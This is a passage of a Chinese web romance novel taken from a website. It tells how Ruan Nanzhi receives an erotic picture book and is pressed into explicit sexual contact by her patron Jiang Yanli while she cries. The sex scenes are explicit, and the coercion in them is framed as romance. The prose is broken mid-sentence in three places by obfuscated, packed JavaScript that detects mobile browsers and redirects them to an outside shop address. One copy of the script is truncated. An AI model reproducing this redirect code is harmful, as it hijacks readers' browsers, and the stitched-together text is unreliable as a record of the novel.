在阮南枝看来,江砚黎乃是尊崇无比的顶尖权贵,一定极为珍重自己的声名。而她,如今爹爹还戴罪在身,自家境况沉浮不定,这般悬殊的境遇,怎么看都配不上江砚黎。 现在贸然将两人的关系告知出去,若是那林曼香传了出去,少不了被旁人添油加醋,况且靖国公府之人知道了……这样只会给江砚黎带来无穷无尽的麻烦。 “怎么会呢!” 明微忍不住惊叹一声,饶有趣味地笑着调笑着面前羞怯的小姑娘:“你信不信,你的砚黎哥哥只怕你不给他一个名分,不肯将你们两个的关系公之于众呢,他哪里会不愿意让旁人知晓?” “你可千万不要看轻了自己在他心中的份量啊。” 此时的阮南枝听着这话,仍是似懂非懂。她大概知晓江砚黎待自己极好,那些为她打点的帮助以及日常里无微不至的关爱,桩桩件件都真切得不容忽视。 可也许是自幼便深埋心底的自卑作祟,她总是觉得自己就是命格带晦的人,过往的日子总是给周围的人带来不祥。 这样的自己,真的配得上那完美无瑕又身处云端的他吗? 他此刻的情深意重,会不会只是一时的新鲜感? 待时日一长,看清了她的平庸,会不会厌弃她,终究要离她而去? 阮南枝举着筷箸,吃得慢吞吞的,心头满是茫然。 两人吃着吃着,忽闻门外叩门声轻响,打破了包间内的静谧。未等她们反应,明微身边的婢女已然匆匆掀开珠帘而入:“小姐,太子殿下驾临顺和楼,此刻已在门外候着了。” “嗯?” 明微猛地一怔,美眸中满是错愕。 云景澈怎会在此处?顺和楼虽算京中名楼,却并非皇家常临之地,这番不期而遇,实在出乎她意料。 一旁的阮南枝亦是惊得睁大了眼,此刻听闻太子就在门外,顿时感到有些无措。 毕竟太子殿下乃是储君,身份尊贵至极,她先前并没有见过他,害怕失了礼数。 “别怕。”似是看出了她的慌张,明微给了她一道定心剂,“太子并不难相处,何况有我在呢。” 随后,对着婢女吩咐道,“快快请殿下进来吧。” 珠帘轻启,一道颀长身影缓步踏入。玄色锦袍,显得男子面容格外俊朗温润,并无半分骄矜凌人。 一双黑眸深邃,顾盼间自带威仪,甫一入内,便看向了正在端坐着的明微。 “微微。”云景澈勾唇一笑。 明微见了,眨巴着眼睛问他:“你怎么来了呀?” “方才途经顺和楼,听闻你在此处,便顺路过来给你送样东西。” 目光不经意间扫过一旁的阮南枝,见她有些犹豫要不要向他行礼的样子,便已了然这便是明微常提及的挚友,亦是江砚黎放在心尖上的姑娘,云景澈温声道:“这位……便是南枝?私下场合,不必拘礼。” 虽听他这样说,可太子乃是储君,礼数万万不可废,阮南枝抬起头躬身行了一礼:“民女阮南枝,参见太子殿下。” “枝枝,不用这么客气。”明微笑吟吟地对阮南枝说罢,便转头望向云景澈,带着些许好奇,“云景澈,你要来给我送什么东西?” “当然是……上次你让孤帮你寻找的那个东西啊。” 闻言,明微恍然大悟,当即就要上前去扒拉他的手中之物,果然看到了一册被盖得严严实实的书。 “怎么,孤亲自为你跑这一趟,你便只顾着这东西,连让孤坐下与你们一同用膳的意思都没有?”云景澈将东西递到她手中,眼底笑意更浓,戏谑道。 眼见明微歪了歪头看向了自己,目光中带着询问之意,于是阮南枝立即对着云景澈做了一个请的手势:“自然是可以的,殿下请上座。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975242|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢。”云景澈颔首一笑,缓缓落座,举手投足间尽是儒雅之风。 膳桌间青瓷错落,尊贵无比的男人执筷夹起炖得酥烂的鱼肉,甚至细致地剔净细刺后,放入了明微的碗中。 明微抬眸望他,唇角弯成一个浅浅的弧度,假装什么也没发生一般低头小口啜着汤,耳尖悄悄泛了红。 那满室暖香与二人眼底的情意交织缠绕在一起,看得一旁的阮南枝简直一脸讶然。 不愧是明微姐姐啊。 她是如此明媚鲜活,骨子里又飒爽自在,一直都很招人喜欢,上至矜贵无双的太子殿下,下至仆从,无不对她真心相待。 谁能想到,高高在上,连朝臣见了都要屏息敛声的太子殿下,竟也会有这般柔情似水的时候? 这样金尊玉贵的人,向来是被人伺候惯了的,如今却甘愿为明微姐姐亲手剔去鱼刺,望着她的眼神,饱含着满满的情意。 他们二人站在一起,是这么的般配,举手投足间的更是旁人插不进去的默契。 这般琴瑟和鸣的模样,真是叫人好生羡慕…… 对爱情充满憧憬的小姑娘,不由得看得痴了。 身为储君,自是公务繁冗,日理万机,此番是为了见明微一面,给她送那册避火图,特意抽身亲赴顺和楼。 一同用过膳之后,云景澈便要起身告辞了。 明微并未出言挽留,因为她心中念着待会儿要与阮南枝细讲避火图中的玄机,此事涉及男女秘要,云景澈在场终究不便。这般想着,她反倒暗自盼着他早些离去,好与枝枝安心细说。 云景澈将她眼底那点小急切瞧得分明,无奈地摇了摇头。临行前,他执起明微的柔荑,低头在她纤细白净的小手轻轻印下一个温软的吻,缱绻不舍:“微微,改日再来看你。” 快走吧快走吧。明微心里 在他走后,明微迫不及待地打开了那个被密封得严严实实的书册,阮南枝也好奇地凑了过来。 男女赤身相拥的奇怪图样赫然入目,看清了上面的内容时,她的脸颊便“腾”地燃起热浪,瞬间红透到耳根,慌忙垂下眼帘,根本不敢多看。 “明微姐姐,这、这是什么呀!” “枝枝,别害羞呀。”见她这般羞涩,明微觉得好笑,随后伸手将画册摊平在案上,耐心给她解释着,“这并非秽俗之物,而是女子必经的闺阁秘事,你我都是女子,我就直接坦诚言之啦。” 她一边指着那些个露骨的图样,一边说着: “男女夫妻一体,需知晓彼此肌理之异。” “行周公之礼,贵在两情相悦,循序渐进。男子需存怜惜之心,不可鲁莽,女子也需知顺应之法,不可抗拒过甚,伤了彼此情分。” 阮南枝听得脸颊滚烫,她看了之后才明白,原来男女并不是躺在一张床上就会怀孕呀,还要这样那样的…… 心中又羞又愧,自小母亲去世,也无其他女性长辈教导她这些东西,此时阮南枝暗自感激着明微姐姐愿意坦荡相教。 只是,她有些不太明白…… 为什么明微姐姐会突然教她男女欢好之事啊! 30. [锁] [此章节已锁] “江砚黎他向来行事恣意,我怕他有时候顾不上其中分寸,你又不甚清楚,容易伤及你的身子。若是你在过程中感到半分不适,就一定要和他说出来。 “切记,你并非任人摆布的物件,亦应当保护好自己。” 明微捏了捏已然酡红的女孩的脸颊,柔和地对她说着。 这下阮南枝总算知道明微为何会对自己说这些话了。 她朱唇微张,半晌吐不出完整的话来,最后实在按捺不住羞涩,将整张小脸往明微的肩头埋进去,支支吾吾道:“明微姐姐,枝枝明白了……” “这册东西你拿回去吧,自己再慢慢琢磨,往后总能用得上。” 于是乎,明微将那册避火图塞给了阮南枝,嘱咐她带回景安苑。 带着这个如同带上了什么烫手山芋一般,返程时,巧杏见自家小姐神色慌张,忍不住好奇询问:“小姐,明微小姐给您的是什么呀?为何要一直揣着,让奴婢来帮您拿吧。” “不用!” 阮南枝心头一跳,强装镇定地再将册子往袖中塞了塞,抿唇摇头,“没、没什么,只是明微姐姐给的几本闲书罢了。” 以此借口来搪塞过去。 好在巧杏也没有继续追问下去,不然阮南枝简直不知道要怎么和她解释这本东西了。 直到匆匆回到景安苑后,一路快步回到自己房门。 她快步走到床边,如同做贼心虚一样飞快地掀开枕头,将那册避火图匆匆塞了进去,又赶紧抚平枕面,这才松了口气。 到了晚上,忙了一整天的男人再度踏入景安苑。 江砚黎甫一进房门,阮南枝便小意娇羞地迎了上来,白如削葱的手指掂住系带,贴心地替他解了外袍: “砚黎哥哥,你忙了一天,累坏了吧。” 略带着薄茧的手掌扣住她细腻温软的手儿,江砚黎笑着顺势微微用力,便将那纤弱窈窕的身影揽入怀中,抱着她坐了下来。 “乖枝枝,前几天是忙了些,没有什么时间陪你。如今一案已结,这两日我便在景安苑陪你,好吗?” “好……” 本就想一直黏着他的小姑娘自然是马上点了点头回应,乖巧倚在他宽阔的胸膛,小手小心翼翼地环上他的腰。 自将阮南枝安置在这景安苑,江砚黎便似醉心于此间温柔乡,渐渐乐不思蜀。 不说靖国公府了,哪怕是自己的临渊府,皆不及此处软玉温香,是以他近来已鲜少回去了。 少女兴致勃勃地凑在他耳边,絮絮叨叨讲着今日所见所闻,包括与明微姐姐和太子殿下一同用膳等等事情都细细说来。 嗓音清脆似呖呖莺声,气清兰蕊馥,腰肢娇又软,千般袅娜,万般旖旎。 江砚黎一手揽着楚腰漫不经心地听着,一边用骨节分明的手指绞着她一缕秀发随意把玩。 “可还发生了什么事?” 不知为何,一直含笑静听的男人竟突然开口,问出这句让阮南枝有些摸不着头脑的话。 她莫名地看了他一眼,歪着头不解:“嗯?没了吧?” 江砚黎缓缓低下头,黝黑深沉的眼眸沉沉地锁住她,方才还捧着玉容小脸的手掌松了些许,拇指轻轻碾过她娇嫩欲滴的红唇。 女孩被他突如其来的动作弄得呆愣愣的,睫毛不由颤动了一下,脸颊绯红大片,反倒更显靡丽动人。 “你是我的。” 男人微微眯起绚丽的桃花目,许是越美丽的东西越危险,阮南枝只觉得此刻的他,周身萦绕着让人不敢说话的危险气息。 “别人都不许欺负你,要欺负,也只能由我来欺负你。” 欺负? 似有所觉的女孩忽然眸光一闪,像是想起了什么,抬着小脸不确定地发问:“是明微姐姐告诉你的?今日我们去顺和楼赴宴,正巧撞见了我的堂表姐……” 得到他不置可否的淡淡颔首回应后,阮南枝眼底的茫然一扫而空,当即笑弯了眉眼,娇憨地紧紧抱住他的手臂,笑嘻嘻宽慰道:“我当是什么大事呢,原来是这个呀,我都没放在心上的。” “堂表姐不喜欢我,我知道的,所以她说的那些话,自然不会太好听……但我向来左耳进右耳出,从不往心里去,日后各走各的路,井水不犯河水也就是了。” 说到底还是血亲,虽疏了情分,但两家人日后也不太会有交集,因此她没必要一定和林曼香争出个高低胜负。 阮南枝也没想过要和江砚黎说这些事,倒显得她只会依仗男人似的。 面无表情的男人显然还是有点不开心,毕竟他向来护短成性,睚眦必报惯了,怎么能容许旁人欺负到自己的人头上? 况且,江砚黎一眼就看透了林曼香这样爱慕虚荣内里空空之人。 林家无非是嫉妒阮家蒸蒸日上的光景,现在好不容易逮着个阮礼出事的关头,得以把这些年来的不如意和怨气尽数撒在阮南枝头上。 对付这种人,于他而言也不用费什么周折,直接寻了林家那芝麻官的错处,轻轻一办便可叫他们失去他们所最看重的权财。 就像当初皇贵妃和贤妃的明争暗斗,却偏偏想将阮南枝拖下水,在场众人皆对此事缄口不言,生怕惹上两位高位嫔妃的记恨。 唯独他事后敢向皇上言明前因后果,因而致使两人一个被禁足一个被降位份,都失去了自己最看重的圣上宠爱。 眼见江砚黎的笑容依旧带着一股森寒的冷意,阮南枝想了一下,试图插科打诨转移话题: “好啦好啦,真的没事,砚黎哥哥别生气啦,枝枝只让你欺负呀。”她重绽笑靥,软绵绵地攀住他的肩头,“可你明明对枝枝好得紧,哪里舍得真欺负我呢……” 被女孩这股酥神媚骨的娇气劲儿缠着,江砚黎一下子就生了别样的反应。 他目光幽幽地盯着她,似笑非笑:“谁说我不会欺负你了?” 正要撅着嘴反驳说你怎么可能会欺负我呀,话还没来得及说出口, “枝枝,葵水该走干净了吧?” 男人状似无意的问话,却让阮南枝听出了些许端倪,她觉得自己从来没有这么聪明过,几乎是一下子就联想到了今日明微姐姐塞给她看的那几册避火图。 绢本上的男女暧昧姿态,此刻尽数翻涌上心头来。于是小姑娘下意识就慌乱地闭上眼睛,疯狂摇头矢口否认:“还、还没有,还要一两天吧……” 虽然,虽然她是打心底里喜欢世子哥哥,一点也不反感他。可这般私密的事情,今日她也是头一回知晓,心里难免又慌又羞,还没做好准备。 闻言,江砚黎挑了挑眉若有所思,并没有多说什么。 正当阮南枝要松一口气,以为这事便这样揭过了的时候,他却别有深意地笑了一下,不等她辨明,就拉起了女孩围绕着他的手,往他的身下带。 她不知道,上一刻的江砚黎,心中已转了数念。 葵水未净,也有别的法子…… 腰间的玉带被解开,下裳凌乱。 擒着她皓腕的男人力道未松,神色却是愈发平静冷漠。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980337|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >昳丽的唇角噙着一抹极为愉悦的弧度,目不转睛地凝着挂着泪珠的她。 阮南枝震惊得脑中一片空白,久久都回不过神来。 为何往日里如水清隽的砚黎哥哥,会藏了这样吓人的物什?便是白日里明微姐姐给她看的那避火图上,也从未见过这么突兀的模样啊。 体内蓦然窜起一股燥热,蔓延开来。 玉润的脸颊烧得通红,内心里也有着说不清道不明的恐惧。 好累…… 手腕好酸,快要抬不起来了…… 被他牢牢牵着手儿,累得要死,小姑娘羞愤与委屈交织着,眼泪像断了线的珠子般滚落,抽抽搭搭地哭个不停。 葱白莹嫩的五指与之形成了强烈的对比,只是瞧着如此,阮南枝便已经受不住这样的冲击,心下慌得不得了。 到底强势惯了,加之此刻将她的反应尽收眼底也看得出来,女孩此时的泪水并非出于不愿或者伤心,只是因为可怜的羞愤作祟。 泪水汪汪之下自然更助兴,江砚黎坏心眼儿地钳住纤细的腕子,一点儿没给她逃离的余地。 皓腕本就脆弱,不堪一握,现下被这不重不轻的力道握住。 时间一刻一刻流逝…… 不知道过了多久,他终于是闷哼一声,彻底结束了。 阮南枝内心无措极了,她好想掩面哭泣。 可手上的情况……让她不知作何动作,只能坐在那里,任由眼泪不住地往下流。 半晌,沉浸在余韵里的江砚黎,总算恢复了些许清明。 看着居高临上的男人低下头吻了吻自己的嘴唇,随即又顺着她纤细的脖颈慢条斯理地啃下,似乎是奖励。她好舒服又好痒,想要推开在她颈间作乱的人,但最后却又不自觉把人抱紧。 舌头舐过修长颈线的肌肤,男人的嗓音全是情欲过后的喑哑,他闷笑一声,先前的一些温柔假面裂开了细微的裂痕: “对不起枝枝,一看到你就这样了。” “所以你得负责灭火。” 脑子里全是混沌,根本说不出话的女孩仰头无声落泪,他弯着唇角,低头吻去女孩睫毛上的眼泪,咸湿让男人心中作恶的欲望得到了满足。 “你坏……我不要理你了。” 嗡嗡娇声颤抖,听起来,似乎真是委屈坏了。 “是是是,我坏,今日是我不好。” “砚黎哥哥再也不欺负枝枝了,嗯?” 虽未全然尽兴,却已得到了别样的餍足,此时的江砚黎格外耐心好说话,他低低笑了,打来一金盆温水。 而后抱着怀里的女孩替她一根一根手指地仔细清洗着污浊,将那双细腻柔荑擦得干干净净。 渐渐停止了抽噎的阮南枝,一双湿亮发红的眼儿就那么软软地瞪着他,原该冷硬无比的心早已软得一塌糊涂,江砚黎低下头疼惜地亲了亲她泛红的嘴唇。 “我们枝枝怎么这么爱哭鼻子?” 他有些好笑道。 阮南枝心底既藏着几分惧意,又有着无法宣之于口隐秘的期待。虽然羞怯尚未褪去,依旧觉得不自在,但,内心的真实感受骗得了别人,却绝对骗不了自己。 不得不承认的是,她极其享受这份亲密无间。 江砚黎于她,本是高悬九天的皎月,遥不可及,只敢在心底悄悄仰望。 如今竟能与仰慕之人结下如此牵绊,每一次触碰,都在清晰昭示…… 她与他,早已结下了不一般的关系。 那是旁人难以企及的亲密。 31. 了解 “世子……”乌恪敲门踏入阁中,一进去就看见世子正抱着阮小姐在作画。 阮南枝身为贵女,自幼又是被父亲娇宠着长大的,琴棋书画皆有涉猎。虽非顶尖造诣,却也自有韵味,寻常场合尽可拿得出手。 好不容易得了空闲,二人同案作画,好一副琴瑟和鸣又岁月静好的画面。 江砚黎闻声抬起头,下颌轻抵着怀中小姑娘柔顺的乌发,只淡淡扫了乌恪一眼。 自知扰了世子和阮小姐二人世界的乌恪心下一颤,连忙躬身拱手,表示自己的确有重大之事: “世子,阮大人给小姐的回信,已经送到了。” 听闻此言,正在握毫描摹花骨朵儿的阮南枝停下笔来,小脸浮上明丽喜色,当即兴奋地站了起来,从乌恪手中接过那封来自爹爹的家书。 交割完毕,乌恪便识趣地退下了。 被撇在一旁的男人无奈勾唇,也跟着起身,自然而然地替女孩拿来空白信纸。因为他知晓,枝枝看完爹爹的信,定是要即刻回信的。 阮南枝展开信纸,看到爹爹的字迹,就仿佛听到了他在自己耳边切声嘱咐: 枝枝亲启,见字如晤。 为父抵岭南已月余,一路平安顺遂,无需挂怀。此地虽远离京畿,却别有风情,草木葱茏,水土温润。 此番南下,食宿皆妥帖舒适,一应事务皆有人妥善打点,日子清闲自在。枝枝只需安心在京,照顾好自己,勿要挂念为父。待案件了结,为父便即刻返程。 …… 阮礼已知此次被流放是圣上意有所为,可他细思之下,又觉蹊跷。 若仅是圣意安排,怎会处处如此这般完美地契合他的心意? 他在岭南的宅院里,从精品茶具到曾求而不得的孤品围棋,桩桩件件,无一不恰在他心坎上。 仿佛有人将他的喜好摸得通透,特意这般布置来讨他欢心一样。 心中似有所感的阮礼,试图从府上仆从口中打听些什么,怎知这些仆从皆是岭南土著,平日里只管各司其职,对于上头真正的主子,居然无一人能说清道明。 因此,只能转而将这份功劳全数归功到了太子殿下头上,毕竟在阮礼印象里,太子早对自家小女流露过好感,此番怕是借着这个由头,暗中照拂于他,既是示好,也是为日后好纳了枝枝而铺路。 念及此处,比起自己被构陷一事,更让他感到满心焦虑和伤心的,是女儿婚事。 纵使他再怎么不愿意让娇宠长大的女儿踏入那樊笼之地,可瞧着太子此番手笔,这么势在必得的架势,像是能轻易放过阮南枝的样子吗! 他这做父亲的远在千里之外,即使是有心护着,也是鞭长莫及。 阮礼心口沉甸甸的,满是无可奈何的怅惘。而远在京城的阮南枝,此刻正捧着父亲的家书开心地品读着,全然不知千里之外的老父亲,已为她的婚事愁白了头。 “砚黎哥哥,我写好啦。” 小姑娘折好信纸,递给江砚黎,再由他密封好,交给手下之人即刻送去岭南。 她自幼由父亲独自抚养长大,父女二人相依为命,情逾寻常父女。 自事发离散至今,竟然也隔了这样长久的时日,她从来没有和父亲分开如此之久…… 说到这个,阮南枝忽然想起来,对于江砚黎的父母,她似乎一概不知。 砚黎哥哥好似一直都很独立,平日里都不在靖国公府居住。 难道他与家中亲人的关系并不和睦? 阮南枝暗自思忖,若是换作自己,定要日日守在爹爹娘亲身边才好,哪里舍得这般分居两处。全然没有想到是自己太粘人的缘故。 倒是隐约听人说过,靖国公与他的夫人沈氏,也就是江砚黎的母亲,素来是京中人人称羡的神仙眷侣。 可既然父母恩爱,砚黎哥哥为何反倒常年独居在临渊府? 她真的,还是不太了解他呀…… 江砚黎将书信交与心腹后,甫一回来,就到看满脸疑惑的女孩托着腮,坐在椅子上眼神放空,一副怔怔出神的模样。 男人不动声色地坐到她的旁边,极其自然地贴住腰儿,指腹将香腮微微捏住,大舌撬开檀口深入,大肆地掠夺着少女口里的香甜。 微微张嘴的女孩被趁虚而入,很快,她就失了呼吸的章法,胸腔里的氧气被尽数掠去,剪水秋瞳漫上层层水雾,茫然无措。 浑然不觉,自己青涩懵懂任人摆布的模样,有多叫人想要摧毁。 而后江砚黎恋恋不已,唇间轻啮她皓腻修长的雪颈,慢吮细嘬之下,渐次晕开几缕胭脂痕,恰似寒梅缀雪,艳色韵致。 回过神来的阮南枝突然觉得,世子哥哥好像特别喜欢亲自己的脖颈呢。她有些纳闷,却也无力抵抗,痒意让她忍不得恣情呜嘬。 许久过后,他终于餍足地松开她,退开了些许,一瞬不瞬地注视着羞低着粉颈,桃脸儿通红的女孩。 “在想什么?” 被吻得浑身软绵,眼波迷离的阮南枝下意识便吐露出心底念着的话:“枝枝总觉得,自己还不够了解砚黎哥哥呢。” 闻言,狭长的多情眸子闪过一丝讶然,江砚黎的心中浮现起一股说不清道不明的感觉。 当他听见阮南枝的这句话时,就意识到,阮南枝是想更多的了解自己。 女孩内敛羞怯惯了,凡事喜欢藏在心底,哪怕对着他更多的也是小心翼翼的试探,如今竟肯主动吐露出想多了解他的念头。 而心悦之人想要主动了解自己,内心的欣喜之情可想而知。 一股愉悦感自心底漫开,他早已习惯了旁人的追捧与靠近,唯独对她这份主动,生出了几分别样的受用。 “枝枝。” 江砚黎微微勾着唇,是极其好看的弧度,令阮南枝看得有些失了神,“你有一生的时间可以慢慢了解我,所以不急。” “你现在……想要了解我的什么呢?” 就这么被轻而易举地许下了一生的诺言。 他说的那么自然,就好像在诉说一件理所应当的事情。 可,真的能相守一生吗? 阮南枝心脏疯狂跳动着,她用力吸了一口气,试图把情绪一同下咽,直到调整好呼吸,才敢微微抬头,将额头抵在男人的颈窝。 “我……” 想知道他的家庭。 想知道他的喜好。 想知道他所有的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985477|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 凡此种种,太多了。但譬如家世,江砚黎出身靖国公府,累世功勋的世家大族,根基盘桓朝野,势力深不可测,更与永宁伯府有着姻亲交错的千丝万缕的联系。 世家联姻,从来不是单凭儿女情长,总归要权衡势力,计较利益。或是为巩固两家关系,或是为彰显家族声望,婚事往往由族中长辈一言而定。 至于私情么,就没那么重要了,若是实在喜欢,最多也不过是纳为妾室,往后多疼宠几分就好了。 再反观自己,虽也是官宦之女,算得上名门闺秀,却终究比不得江砚黎与明微那样的煊赫底蕴,更无盘根错节的家族势力可依恃。 他是靖国公府唯一的嫡子,肩负着家族延续与兴盛的重任,族中长辈对其婚事必然万分审慎,所求定然是能与家族相辅相成的助力。即便砚黎哥哥待她一片赤诚,喜欢不假,可他终究也不能违逆家族意愿独断专行吧…… 若是靖国公夫妇瞧不上她这般浅薄的家世,不愿接纳她,自己又有何颜面死缠烂打,拖累于他? 所以当初在面对林曼香时,明微姐姐直言不讳地说着她阮南枝的未来夫君便是靖国公世子江砚黎,是她永宁伯府嫡女未过门的弟媳…… 她第一反应只觉荒谬悲哀,这般僭越又不合时宜的话,千万不可以传到江砚黎或者其他人耳中,尤其是靖国公府之人耳中。 明微姐姐这么说,是因为她与她是好友,在得知了江砚黎与她的事情后愿意接纳自己。可他们家族里的其他人,却不会这样好说话。 因而,此刻的心绪致使话至唇畔,又无从说起,垂眸嗫嚅,纤长羽睫轻颤如鸦羽。 见女孩不愿意说了,神情显得平静淡然的男人倒也不勉强,伸手将她揽至案前,执笔继续完成那幅未竟的双人画作。 大张铺敞开来的宣纸上,远山含黛,近水含烟,灼灼桃花映着澄澈溪流,双蝶蹁跹,似在花间低语。 一笔一划,浓墨重彩,栩栩如生,饱含情意。 “我的枝枝,怎么这么好?” “笔下生香绘景,眉目亦胜春山软水。” “性情温软纯良,待人赤诚无伪,偶露的羞怯之态,也是尤为娇憨可人。” 江砚黎笑着,情不自禁地从后面轻吻女孩柔嫩的颊畔。 自己当真这么好么? 阮南枝被身后高大挺峻的身子牢牢圈在怀中,生出了一种被爱浸润的感觉。 宽阔的掌心握住她的手儿,清冽好闻的气息无孔不入地浸入着她,将她整个人裹进一片安稳踏实的领地里。 江砚黎简直就是最完美的恋人。 遇到困难时,他是永远都是她的依靠,就连她自己都看不起自己的笨拙,在他那里,也成了独一份的可爱。 他总是耐心引导,细数她的好,仿佛她无论是什么狼狈的模样,都是这世间最该被捧在手心疼宠的存在。 这般完美的男子,这样毫无保留的偏爱,让她时常恍惚,只觉得像是坠入了一场不愿醒来的美梦。 她不想松开手。 哪怕只是黄粱一梦,哪怕最终无法实现相守一生的诺言,她还是想抓紧这个让她心动的男人,贪婪地多留着片刻光阴。 32. [锁] [此章节已锁] 自从和江砚黎在一起之后,巧杏肉眼可见的觉得自家小姐变得了活泼开朗了许多。 每日笑语晏晏的,先前总挂着的忧愁和烦恼不再。 因此,起初她原是不看好小姐与世子的,可现下见小姐这般舒心自在,较从前状态好了不是一点半点,便也没了不再支持她的理由。 终究,小姐的心意,才是最要紧的。 不过…… “小姐,您与世子,没有进行到最后一步吧?” 巧杏手中拿着木梳,一下下轻柔地梳着阮南枝乌亮的长发,她垂着眼帘,压低了声音,有些掩不住的惴惴不安。 “咳咳咳!”听闻此言的阮南枝被吓了一大跳,她瞪大了一双杏眼,脸颊通红,忙不迭转过头看向巧杏,惊声道,“巧杏你说什么呢?” “奴婢先前总听府里的老人念叨,说哪家的小姐痴心错付,被那薄情公子哄骗了身心,最后落得个被弃之不顾的下场,不仅再难寻得好人家,竟还草草了结了自己的性命……”巧杏咬着唇瓣,不住地担忧,“奴婢虽也觉得世子爷绝非那等薄情寡义之辈,可……可终究还是忍不住替小姐您揪心。” 阮南枝微微一顿,沉默了一瞬,才轻叹了口气:“放心吧,砚黎哥哥他不是那样的人。” 如今自己孑然一身,不过是个无依无靠的孤女。 若江砚黎当真存了玩弄之心,以他的身份地位,何须这般大费周折? 他轻而易举,便能占有自己,又何必日日耐着性子,低声下气地哄她开心,将她捧在手心里疼惜呢? 她与江砚黎相处的时日里,情到浓时,也曾有过好几次意乱情迷的时刻,险些便越过了那最后的界限。 其实她并非不愿将自己的身心全然交付于他,缱绻相依的时刻,看着男人眸中盛着独属于她的温柔时,阮南枝也曾动过不顾一切的念头。 纵使真有那么一天,两人情难自禁,越过了最后一步,到头来却因为他不再喜欢自己,或是其他种种原因,没能相守一生…… 她想,自己也绝对不会有半分怨怪他的心思。 毕竟,这些与他相伴的时光,每一分每一秒,都是她心甘情愿,亦是她此生难得的欢喜。 江砚黎不知道主仆二人的心思,他看着最近的阮南枝,只觉得颇为满意。 养了这么久,景安苑的厨下皆是他寻来的顶尖庖厨,日日按着她的口味精心烹制膳食,总算见着小姑娘脸颊添了些肉感。 不复当初阮父遭难时,她红着眼眶来求他时那副瘦弱伶仃的模样。 如今的少女肤光胜雪,巴掌大的小脸透着水润的娇嫩,一双眼波流转间,盈盈然宛若含着春水,动人得紧。 是夜。 女子沐浴,总归要耗时久更久,何况是世子吩咐过了对于阮小姐的事情须得细致上心。她沐浴一次,既要以香膏细细揉洗长发,取了润肤花露从脖颈至脚踝寸寸轻柔涂抹。 又要一点点绞干湿发,一番打理下来,总要费上不少时间。 阮南枝还未结束,江砚黎已经沐浴完毕回到房里。 他随意倚坐在床边,漫不经心地拨弄着床栏,目光落向床头悬着的那枚平安符,瞧着瞧着,唇角不禁勾起。 两人已然同榻而眠了好长一段时日,锦被间早浸染了彼此的气息,她身上的味道混着他的,缠缠绵绵地绕在一处。 这般陌生的交融感,于他而言,是从未有过的奇异体验。 不经意间,江砚黎抬手探向阮南枝的玉枕旁,触到枕下似有什么东西硌着。 隐隐约约,像是一本书? 什么书需要如此隐秘地藏在枕下,倒像是怕人瞧见般。江砚黎微微挑眉,慢悠悠地将那本书从枕头底下抽了出来。 可待看清手中之物,他动作蓦地一顿,周身的慵懒气息一下子敛了去,无言沉默着。 那册书……不是什么诗词话本,居然是绘着男女情事的避火图。 刚推门进来的阮南枝,就见到江砚黎拿着明微送给她的那本避火图在仔细端详着。 女孩瞬间炸毛了,慌慌张张地冲上前,一把将那册子从他手中夺了过去,心虚地攥在怀里。 “你你你不要乱看,还给我!” 手上骤然一空,江砚黎长臂一伸,将羞得满面通红的阮南枝搂入怀中,低头凑到她耳畔,表情玩味:“没想到,枝枝竟然在枕头下藏了避火图……” “是在暗示我什么吗?”他笑了笑,打趣着说道。 我不是我没有! 那日明微将这避火图塞给她后,她揣着册子匆匆回了景安苑,急忙将其塞在了玉枕之下。 只想着先藏好别被人瞧见,过后竟将这事儿抛在了脑后。 孰料,今日被江砚黎无意间翻了出来?! 阮南枝心下慌作一团,脑子里只剩一个念头: 怎么办,世子哥哥会不会觉得她是个不知羞的人啊! 一想到自己在他面前原有的良好形象要尽数毁了,阮南枝索性绝望地闭紧双眼,小脸绷得紧紧的,一副视死如归的架势。 喉间溢出低低的笑声,江砚黎一如既往微微拖着嗓子,调笑意味十足: “往时读书,枝枝向来颖悟有思,而现在看了此物,可有什么别样的领会?” 这能有什么领悟啊! 阮南枝哪里有心情去搭理满眼都是戏谑的男人,一门心思收拾好这本令她尴尬到快要哭出来的避火图,手忙脚乱地将其塞到一个箱子后落了锁,还未来得及松口气,腰后就抵上一道温热的人墙。 男人倾身将她压在被褥之上,五指顺着裙摆,直接探到了大腿根处。 “不愿意回答?那再换一个问题吧……” 不过是说话间的功夫,笑得活像个妖孽的江砚黎,一根手指已经熟门熟路地解开了女孩寝衣。 “枝枝,这避火图上的光景,你愿不愿意与我一同尝试呢?” 其实他早就知道,先前阮南枝所说的葵水未净不过是幌子而已。 因打心底里关心女孩的身体,那次他意外撞上她来了葵水之后,便暗自将她的月信周期记在了心里,日日算着日子,还让一位女医来景安苑为她细心调理。 